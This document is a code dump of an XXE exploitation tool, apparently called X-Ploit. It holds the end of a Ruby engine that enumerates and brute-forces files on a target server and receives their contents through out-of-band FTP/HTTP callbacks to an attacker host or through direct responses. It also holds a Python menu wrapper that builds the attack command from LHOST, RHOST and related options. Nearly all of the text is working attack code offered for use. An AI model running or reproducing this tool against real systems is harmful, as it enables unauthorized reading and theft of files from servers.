W/n" 1139 | cmp = Readline.readline("> ", true) 1140 | Readline::HISTORY.push 1141 | break if cmp == "n" || cmp == "N" 1142 | sleep timeout 1143 | else 1144 | break 1145 | end 1146 | end 1147 | end 1148 | end 1149 | 1150 | # read, ask and further enumerate 1151 | loop do 1152 | if $brute == "" 1153 | if !$filenames[i].nil? 1154 | 1155 | # Read next line 1156 | line = $filenames[i] 1157 | line = line.chomp 1158 | line = line.gsub(' ','%20') 1159 | 1160 | # Check if a file should be enumerated 1161 | check = "#{$path}/#{line}".split("/")[0..-2].join('/') 1162 | 1163 | if enumall != "y" && !blacklist.include?(check) && !whitelist.include?(check) 1164 | if $cut == 0 1165 | if $path[-1] == "/" 1166 | puts "Enumerate #{$path}#{line} ? Y[yes]/n[no]/s[skip all files in this directory]/a[enum all files in this directory]" 1167 | else 1168 | puts "Enumerate #{$path}/#{line} ? Y[yes]/n[no]/s[skip all files in this directory]/a[enum all files in this directory]" 1169 | end 1170 | else 1171 | if $path == "" 1172 | puts "Enumerate /#{line} ? Y[yes]/n[no]/s[skip all files in this directory]/a[enum all files in this directory]" 1173 | else 1174 | puts "Enumerate /#{$path}/#{line} ? Y[yes]/n[no]/s[skip all files in this directory]/a[enum all files in this directory]" 1175 | end 1176 | end 1177 | cmp = Readline.readline("> ", true) 1178 | Readline::HISTORY.push 1179 | if cmp == "s" || cmp == "S" 1180 | blacklist.push("#{$path}/#{line}".split("/")[0..-2].join('/')) 1181 | end 1182 | if cmp == "a" || cmp == "A" 1183 | whitelist.push("#{$path}/#{line}".split("/")[0..-2].join('/')) 1184 | cmp = "y" 1185 | end 1186 | elsif enumall == "y" || whitelist.include?(check) 1187 | cmp = "y" 1188 | else 1189 | cmp = "n" 1190 | end 1191 | if cmp == "y" || cmp == "Y" || cmp == "" 1192 | if enumall != "y" && !whitelist.include?(check) 1193 | switch = 1 1194 | puts "Enumeration locked." if $verbose == "y" 1195 | end 1196 | $nextpath = "#{line}" 1197 | 1198 | # Send request with next filename 1199 | if $direct != "" 1200 | if $path[-1] != "/" 1201 | $directpath = "#{$path}/#{line}" 1202 | else 1203 | $directpath = "#{$path}#{line}" 1204 | end 1205 | configreq() 1206 | else 1207 | if $path[-1] != "/" 1208 | enumpath = "#{$path}/#{line}" 1209 | else 1210 | enumpath = "#{$path}#{line}" 1211 | end 1212 | end 1213 | enumpath[0] = "" if enumpath[0] == "/" 1214 | sendreq() 1215 | send2ndreq() if $secfile != "" 1216 | 1217 | # Loop that checks if response with next file content was received by FTP/HTTP servers 1218 | if $direct == "" 1219 | loop do 1220 | sleep timeout 1221 | if switch == 1 1222 | puts "FTP/HTTP did not get response. XML parser cannot parse provided file or the application is not responsive. Wait or Next? W/n" 1223 | cmp = Readline.readline("> ", true) 1224 | Readline::HISTORY.push 1225 | break if cmp == "n" || cmp == "N" 1226 | sleep timeout 1227 | else 1228 | break 1229 | end 1230 | end 1231 | else 1232 | if not $response.body.include?("#{$direct}") 1233 | puts "Response does not contain unique mark." 1234 | else 1235 | if $response.body.include?("#{$direct}#{$direct}") 1236 | puts "File/directory could not be retrieved." 1237 | else 1238 | $done = 0 1239 | $response.body[/(#{$direct})(.*)(#{$direct})/m].gsub("#{$direct}", "\n").split("\n").each do |param| 1240 | 1241 | # log to separate file 1242 | log(param + "\n") 1243 | 1244 | # push to array if directory listing is detected for further enumeration 1245 | pusharr(param) 1246 | 1247 | end 1248 | end 1249 | end 1250 | end 1251 | 1252 | end 1253 | i = i + 1 1254 | else 1255 | puts "Nothing else to do. Exiting." 1256 | exit(1) 1257 | end 1258 | else 1259 | brutefile = File.open($brute, "r") 1260 | exit(1) if IO.readlines(brutefile)[i].nil? 1261 | 1262 | # Read next line 1263 | line = IO.readlines(brutefile)[i] 1264 | line = line.chomp 1265 | 1266 | log = File.open($output, "a") 1267 | log.write "\n" 1268 | log.write "Filename: #{line}\n" 1269 | log.close 1270 | 1271 | # handle unix and windows paths 1272 | if line[0] == "/" 1273 | line[0] = '' 1274 | $cut = 1 1275 | end 1276 | line = line.gsub("\\","/") 1277 | if line[-1] == "/" && line[-2] != ":" 1278 | line[-1] = '' 1279 | end 1280 | if line[-1] == ":" 1281 | line += '/' 1282 | end 1283 | 1284 | line = line.gsub(' ','%20') 1285 | 1286 | # Send request with next filename 1287 | if $direct == "" 1288 | enumpath = "#{line}" 1289 | else 1290 | $directpath = "#{line}" 1291 | configreq() 1292 | end 1293 | sendreq() 1294 | send2ndreq() if $secfile != "" 1295 | 1296 | if $direct != "" 1297 | if not $response.body.include?("#{$direct}") 1298 | puts "Response does not contain unique mark." if $verbose == "y" 1299 | else 1300 | log = File.open($output, "a") 1301 | log.write $response.body[/(#{$direct})(.*)(#{$direct})/m].gsub("#{$direct}", "\n") + "\n" 1302 | puts "Bruteforced request logged: #{$directpath}" if $verbose == "y" 1303 | log.close 1304 | end 1305 | end 1306 | 1307 | i = i + 1 1308 | 1309 | brutefile.close 1310 | sleep timeout 1311 | end 1312 | end 1313 | -------------------------------------------------------------------------------- /xploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #!X-Ploit 3 | #!XXE Exploiter tool 4 | #!Author: Rajesh Majumdar(@freakym0nk) 5 | import os 6 | import sys 7 | import time 8 | from colorama import init, Style, Back, Fore 9 | 10 | banner = """ 11 | 12 | $$\ $$\ $$$$$$$\ $$\ $$\ $$\ 13 | $$ | $$ | $$ __$$\ $$ | \__| $$ | 14 | \$$\ $$ | $$ | $$ |$$ | $$$$$$\ $$\ $$$$$$\ 15 | \$$$$ /$$$$$$\ $$$$$$$ |$$ |$$ __$$\ $$ |\_$$ _| 16 | $$ $$< \______|$$ ____/ $$ |$$ / $$ |$$ | $$ | 17 | $$ /\$$\ $$ | $$ |$$ | $$ |$$ | $$ |$$\ 18 | $$ / $$ | $$ | $$ |\$$$$$$ |$$ | \$$$$ | 19 | \__| \__| \__| \__| \______/ \__| \____/ 20 | 21 | 22 | X-Ploit - XXE Exploiter 23 | Author : Rajesh Majumdar (@freakym0nk) 24 | """ 25 | 26 | def xploiter(): 27 | if os.name == 'nt': 28 | os.system('cls') 29 | else: 30 | os.system('clear') 31 | print (Style.BRIGHT+Fore.GREEN+banner) 32 | def again(): 33 | inp = raw_input(Style.BRIGHT+Fore.BLUE+'[?] [E]xit or launch [A]gain.').lower() 34 | if inp == 'a': 35 | xxe() 36 | elif inp == 'e': 37 | print (Style.BRIGHT+Fore.GREEN+'[*] Exiting...') 38 | exit() 39 | else: 40 | print (Style.BRIGHT+Fore.RED+'[!] Incorrect Argument.') 41 | again() 42 | def xxe(): 43 | try: 44 | xploiter() 45 | mode = raw_input(Style.BRIGHT+Fore.BLUE+'[?] Continue to [G]UI mode or switch to [C]LI mode. > ').lower() 46 | if mode == 'g': 47 | host = raw_input(Style.BRIGHT+Fore.BLUE+'[?] Enter LHOST\n[+] > ') 48 | print (Style.BRIGHT+Fore.RED+'[+] LHOST > '+host) 49 | cmd = '--host='+host 50 | files = raw_input(Style.BRIGHT+Fore.BLUE+'[?] Enter file containing valid HTTP request with xml.\n[+] > ') 51 | print (Style.BRIGHT+Fore.RED+'[+] HTTP Request file > '+files) 52 | cmd1 = cmd+' --file='+files 53 | path_type = raw_input(Style.BRIGHT+Fore.BLUE+'[?] Do you have path to [E]numerate or [F]ile containing paths to enumerate? > ').lower() 54 | if path_type == 'e': 55 | path = raw_input(Style.BRIGHT+Fore.BLUE+'[?] Enter the path to enumerate.\n[+] > ') 56 | print (Style.BRIGHT+Fore.RED+'[+] Path > '+path) 57 | cmd2 = cmd1+' --path='+path 58 | elif path_type == 'f': 59 | path = raw_input(Style.BRIGHT+Fore.BLUE+'[?] Enter the files containing paths to enumerate.\n[+] > ') 60 | print (Style.BRIGHT+Fore.RED+'[+] Path to file > '+path) 61 | cmd2 = cmd1+' --file='+path 62 | else: 63 | print (Style.BRIGHT+Fore.RED+'[!] Incorrect Argument. Try Again') 64 | xxe() 65 | rhost = raw_input(Style.BRIGHT+Fore.BLUE+'[?] Enter RHOST (IP or Domain)\n[+] > ') 66 | print (Style.BRIGHT+Fore.RED+'[+] RHOST > '+rhost) 67 | cmd3 = cmd2+' --rhost='+rhost 68 | rport = raw_input(Style.BRIGHT+Fore.BLUE+'[?] Enter RPORT.\n[+] > ') 69 | print (Style.BRIGHT+Fore.RED+'[+] RPORT > '+rport) 70 | cmd4 = cmd3+' --rport='+rport 71 | proxy = raw_input(Style.BRIGHT+Fore.BLUE+'[?] Enter Proxy to use[127.0.0.1:8080].\n[+] > ') 72 | if len(proxy) == 0: 73 | cmd5 = cmd4 74 | else: 75 | cmd5 = cmd4+' --proxy='+proxy 76 | print (Style.BRIGHT+Fore.RED+'[+] Proxy has been started on: '+proxy) 77 | httpport = raw_input(Style.BRIGHT+Fore.BLUE+'[?] Set HTTP Port.[HTTP Port=80] > ') 78 | if len(httpport) == 0: 79 | cmd6 = cmd5 80 | else: 81 | cmd6 = cmd5+' --httpport='+httpport 82 | print (Style.BRIGHT+Fore.RED+'[+] HTTP Port > '+httpport) 83 | logger = raw_input(Style.BRIGHT+Fore.BLUE+'[?] Do you want me to log results? [Y/N] > ').lower() 84 | if logger == 'y': 85 | cmd7 = cmd6+' --logger' 86 | elif logger == 'n': 87 | cmd7 = cmd6 88 | else: 89 | print(Style.BRIGHT+Fore.RED+'[!] Something went wrong.') 90 | oob = raw_input(Style.BRIGHT+Fore.BLUE+'[?] Do you want [O]ut of band exploitation method or [D]irect exploitation method? > ').lower() 91 | if oob == 'd': 92 | cmd8 = cmd7+' --direct' 93 | cdata = raw_input(Style.BRIGHT+Fore.BLUE+'[?] Do you want to me improve your Direct Exploitation method?[Y/N] > ').lower() 94 | if cdata == 'y': 95 | cmd9 = cmd8+' --cdata' 96 | elif cdata == 'n': 97 | cmd9 = cmd8 98 | ftpport = raw_input(Style.BRIGHT+Fore.BLUE+'[?] Enter FTP Port[FTP Port=21] > ') 99 | if len(ftpport) == 0: 100 | cmd10 = cmd9 101 | else: 102 | cmd10 = cmd9+' --ftpport='+ftpport 103 | print (Style.BRIGHT+Fore.RED+'[+] FTP Port > '+ftpport) 104 | testd = raw_input(Style.BRIGHT+Fore.BLUE+'[?] Do you want me to run in test mode?[Y/N] > ').lower() 105 | if testd == 'y': 106 | cmd13 = cmd10+' --test' 107 | elif testd == 'n': 108 | cmd13 = cmd10 109 | else: 110 | print(Style.BRIGHT+Fore.RED+'[!] Something went wrong.') 111 | xxe() 112 | elif oob == 'o': 113 | cmd11 = cmd7+' --oob' 114 | gopherport = raw_input(Style.BRIGHT+Fore.BLUE+'[?] Enter gopher port[Gopher Port = 70] > ') 115 | if len(gopherport) == 0: 116 | cmd12 = cmd11 117 | else: 118 | cmd12 = cmd11+' --gopherport='+gopherport 119 | print (Style.BRIGHT+Fore.RED+'[+] Gopher Port > '+gopherport) 120 | testo = raw_input(Style.BRIGHT+Fore.BLUE+'[?] Do you want me to run in test mode?[Y/N] > ').lower() 121 | if testo == 'y': 122 | cmd13 = cmd12+' --test' 123 | elif testo == 'n': 124 | cmd13 = cmd12 125 | else: 126 | print(Style.BRIGHT+Fore.RED+'[!] Something went wrong.') 127 | xxe() 128 | else: 129 | print (Style.BRIGHT+Fore.RED+'[!] Incorrect Argument. Try Again') 130 | xxe() 131 | urlencode = raw_input(Style.BRIGHT+Fore.BLUE+'[?] Do you want me to encode URL? [Y/N] > ').lower() 132 | if urlencode == 'y': 133 | cmd14 = cmd13+' --urlencode' 134 | elif urlencode == 'n': 135 | cmd14 = cmd13 136 | else: 137 | print(Style.BRIGHT+Fore.RED+'[!] Oops! Something went wrong.') 138 | xxe() 139 | showdtd = raw_input(Style.BRIGHT+Fore.BLUE+'[?] Want me to change how DTD look?[Y/N] > ').lower() 140 | if showdtd == 'y': 141 | nodtd = raw_input(Style.BRIGHT+Fore.BLUE+'[?] How would you like to look DTD. > ') 142 | cmd15 = cmd14+' --nodtd='+nodtd 143 | pass 144 | elif showdtd == 'n': 145 | cmd15 = cmd14 146 | pass 147 | else: 148 | print(Style.BRIGHT+Fore.RED+'[!] Oops! Something went wrong.') 149 | xxe() 150 | verbose = raw_input(Style.BRIGHT+Fore.BLUE+'[?] Do you want me to show verbose message?[Y/N] > ').lower() 151 | if verbose == 'y': 152 | cmd16 = cmd15+' --verbose' 153 | pass 154 | elif verbose == 'n': 155 | cmd16 = cmd15 156 | pass 157 | else: 158 | print(Style.BRIGHT+Fore.RED+'[!] Oops! Something went wrong.') 159 | xxe() 160 | ssl = raw_input(Style.BRIGHT+Fore.BLUE+'[?] Do you want me to handshake with a SSL server?[Y/N] > ').lower() 161 | if ssl == 'y': 162 | cmd17 = cmd16+' --ssl' 163 | elif ssl == 'n': 164 | cmd17 = cmd16 165 | else: 166 | print(Style.BRIGHT+Fore.RED+'[!] Oops! Something went wrong.') 167 | xxe() 168 | nxtfile = raw_input(Style.BRIGHT+Fore.BLUE+'[?] Enter the path of the file containing HTTP request used in 2nd Order Exploitation.[Press Enter if you dont have]\n[+] > ') 169 | if len(nxtfile) == 0: 170 | cmd18 = cmd17 171 | else: 172 | cmd18 = cmd17+' --2ndfile='+nxtfile 173 | output = raw_input(Style.BRIGHT+Fore.BLUE+'[?] Do you want me to save the output? [Y/N] > ') 174 | if output == 'y': 175 | filepath = raw_input(Style.BRIGHT+Fore.BLUE+'[+] Enter the path where you wanna save the output.\n[+] > ') 176 | cmd19 = cmd18+' --output'+filepath 177 | elif output == 'n': 178 | cmd19 = cmd18 179 | else: 180 | finalcmd = cmd18 181 | xslt = raw_input(Style.BRIGHT+Fore.BLUE+'[?] Do you also want me to test for xslt injection? [Y/N]') 182 | if xslt == 'y': 183 | finalcmd = cmd19+' --xslt' 184 | elif xslt == 'n': 185 | finalcmd == cmd19 186 | else: 187 | print(Style.BRIGHT+Fore.RED+'[!] Incorrect argument, try again. ') 188 | print(Style.BRIGHT+Fore.RED+finalcmd) 189 | print('') 190 | print(Fore.GREEN+'[***] Exploiting XXE... Please give me a moment.') 191 | print(Style.BRIGHT+Fore.RED+'') 192 | if os.name == 'nt': 193 | os.system('main.rb '+finalcmd) 194 | else: 195 | os.system('ruby main.rb '+finalcmd) 196 | elif mode == 'c': 197 | if os.name == 'nt': 198 | os.system('cls') 199 | os.system('main.rb') 200 | else: 201 | os.system('clear') 202 | os.system('ruby main.rb') 203 | except (KeyboardInterrupt) as Exit: 204 | print (Style.BRIGHT+Fore.RED+'[!] Exiting Program...') 205 | 206 | xxe() 207 | --------------------------------------------------------------------------------